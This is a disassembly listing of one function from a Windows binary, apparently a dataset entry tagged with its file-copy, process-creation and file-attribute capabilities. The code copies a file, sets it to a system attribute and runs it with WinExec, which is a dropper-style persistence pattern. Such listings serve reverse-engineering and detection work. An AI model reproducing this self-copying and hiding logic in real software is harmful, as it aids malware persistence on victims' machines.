Function at 0x498704
Capabilities:
Copy file
Create process on windows
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x27
push 0
push 0
dec ecx
jne 0x49870c
push ebx
push esi
push edi
xor eax, eax
push ebp
push 0x4989e8
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0xc]
mov edx, dword [0x4a0314]
mov edx, dword [edx]
call fcn.00404d24
mov eax, dword [ebp - 0xc]
call fcn.00409244
lea edx, [ebp - 8]
call fcn.0045914c
mov eax, dword [ebp - 8]
push eax
lea eax, [ebp - 0x10]
mov edx, dword [0x4a06f0]
mov edx, dword [edx]
call fcn.00404d24
mov ecx, dword [ebp - 0x10]
lea eax, [ebp - 4]
pop edx
call fcn.00404e38
lea edx, [ebp - 0x14]
xor eax, eax
call fcn.00402b64
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 4]
call fcn.00408e1c
test eax, eax
je 0x4989bd
xor eax, eax
push ebp
push 0x4987fa
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00409668
test al, al
je 0x4987c3
mov eax, dword [ebp - 4]
call fcn.004098a0
mov eax, dword [ebp - 4]
call fcn.00409668
test al, al
je 0x4987c3
xor eax, eax
call fcn.00404a90
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4989bd
push 0
mov eax, dword [ebp - 4]
call fcn.00404fec
mov ebx, eax
push ebx
lea edx, [ebp - 0x18]
xor eax, eax
call fcn.00402b64
mov eax, dword [ebp - 0x18]
call fcn.00404fec
push eax
call sub.kernel32.dll_CopyFileA
push 4
push ebx
call sub.kernel32.dll_SetFileAttributesA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x498804
xor eax, eax
push ebp
push 0x4989ae
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x118]
mov edx, dword [0x4a0684]
mov edx, dword [edx]
call fcn.00403858
lea eax, [ebp - 0x118]
mov edx, 0x4989f8
xor ecx, ecx
mov cl, byte [eax]
inc ecx
call fcn.004031fc
jne 0x498926
xor eax, eax
push ebp
push 0x498876
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x11c]
mov edx, dword [0x4a0134]
mov edx, dword [edx]
call fcn.00404d24
mov eax, dword [ebp - 0x11c]
call fcn.0046ff00
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x498880
push 0x3e8
call sub.kernel32.dll_Sleep_1
xor eax, eax
push ebp
push 0x49891c
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x120]
mov edx, dword [0x4a06d4]
mov edx, dword [edx]
call fcn.00404d24
mov eax, dword [ebp - 0x120]
push eax
lea eax, [ebp - 0x128]
call fcn.00459350
mov ecx, dword [ebp - 0x128]
lea eax, [ebp - 0x124]
mov edx, dword [ebp - 4]
call fcn.00404e38
mov eax, dword [ebp - 0x124]
push eax
lea eax, [ebp - 0x12c]
mov edx, dword [0x4a0568]
mov edx, dword [edx]
call fcn.00404d24
mov eax, dword [ebp - 0x12c]
push eax
lea eax, [ebp - 0x130]
mov edx, dword [0x4a0134]
mov edx, dword [edx]
call fcn.00404d24
mov eax, dword [ebp - 0x130]
pop edx
pop ecx
call fcn.0046fd98
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x498926
lea edx, [ebp - 0x134]
mov eax, 1
call fcn.00402b64
cmp dword [ebp - 0x134], 0
jne 0x49894f
push 0
mov eax, dword [ebp - 4]
call fcn.00404fec
push eax
call sub.kernel32.dll_WinExec
lea eax, [ebp - 0x118]
mov edx, dword [0x4a0334]
mov edx, dword [edx]
call fcn.00403858
lea eax, [ebp - 0x118]
mov edx, 0x4989f8
xor ecx, ecx
mov cl, byte [eax]
inc ecx
call fcn.004031fc
jne 0x498997
lea edx, [ebp - 0x138]
mov eax, 1
call fcn.00402b64
cmp dword [ebp - 0x138], 0
jne 0x498997
call fcn.00458818
call fcn.004049b8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4989bd
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4989ef
lea eax, [ebp - 0x138]
mov edx, 8
call fcn.00404b50
lea eax, [ebp - 0x18]
mov edx, 6
call fcn.00404b50
ret